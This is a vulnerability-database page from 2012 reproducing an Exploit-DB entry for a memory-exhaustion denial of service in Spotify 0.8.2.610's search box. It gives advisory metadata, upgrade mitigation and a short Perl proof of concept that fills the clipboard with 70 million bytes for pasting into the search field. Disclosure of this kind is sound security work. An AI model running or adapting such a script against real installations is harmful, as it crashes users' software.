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Spotify
by:
Claes Spett and LiquidWorm
7,5
CVSS
HIGH
Memory Exhaustion
119
CWE
Product Name: Spotify
Affected Version From: 0.8.2.610
Affected Version To: 0.8.2.610.g090a06f8
Patch Exists: YES
Related CWE: N/A
CPE: a:spotify:spotify
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Microsoft Windows XP Professional SP3 (EN) (32bit), Microsoft Windows 7 Ultimate SP1 (EN) (64bit)
2012

Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit

The vulnerability is caused due to the Search box function not checking the boundary of user input. This can be exploited to cause a DoS due to memory exhaustion when inserting a long string of bytes (~80mil B / 80 MB) into the Search field in the GUI.

Mitigation:

Upgrade to the latest version of Spotify.
Source

Exploit-DB raw data:

#!/usr/local/bin/perl
#
# Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit
#
#
# Vendor: Spotify Ltd
# Product web page: http://www.spotify.com
# Affected version: 0.8.2.610.g090a06f8
#
# Summary: Think of Spotify as your new music collection. Your
# library. Only this time your collection is vast: millions of
# tracks and counting. Spotify comes in all shapes and sizes,
# available for your PC, Mac, home audio system and mobile phone.
# Wherever you go, your music follows you.
#
# Desc: The vulnerability is caused due to the Search box function
# not checking the boundary of user input. This can be exploited to
# cause a DoS due to memory exhaustion when inserting a long string
# of bytes (~80mil B / 80 MB) into the Search field in the GUI.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit)
#            Microsoft Windows 7 Ultimate SP1 (EN) (64bit)
#
# Vulnerability discovered by Claes Spett
# Coded by LiquidWorm
#
# Vendor status:
#
# [19.03.2012] Vulnerability discovered.
# [22.03.2012] Vendor has some knowledge about the issue.
# [23.03.2012] Public security advisory released.
#
#
# Advisory ID: ZSL-2012-5082
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5082.php
#
#
# 21.03.2012
#

use Win32::Clipboard; $leepy = Win32::Clipboard();
print "\n[i] Clearing your Clipboard data...\n";
sleep 2; print "\n - Done!\n"; sleep 1; $leepy->Empty();
$tring = "\x41" x 70000000; $leepy->Set($tring);
print "\n\n*----- Log In and just Paste \/ CTRL+V";
print " into the search box -----*\n\n";
system pause; print "\n\n[*] Starting Spotify\n"; sleep 1;
system('start C:\\Docume~1\\%username%\Applic~1\\Spotify\\spotify.exe');